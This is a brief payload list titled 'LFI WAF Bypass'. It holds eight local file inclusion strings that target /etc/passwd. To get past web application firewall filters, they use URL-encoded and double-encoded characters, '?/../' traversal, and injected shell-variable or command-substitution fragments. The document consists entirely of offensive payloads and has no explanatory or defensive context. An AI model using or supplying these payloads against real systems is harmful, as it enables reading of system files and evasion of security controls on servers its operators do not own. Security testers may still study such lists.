LFI WAF Bypass

file:/etc/passwd?/
file:/etc/passwd%3F/
file:/etc%252Fpasswd/
file:/etc%252Fpasswd%3F/
file:///etc/?/../passwd
file:///etc/%3F/../passwd
file:${br}/et${u}c/pas${te}swd?/
file:$(br)/et$(u)c/pas$(te)swd?/

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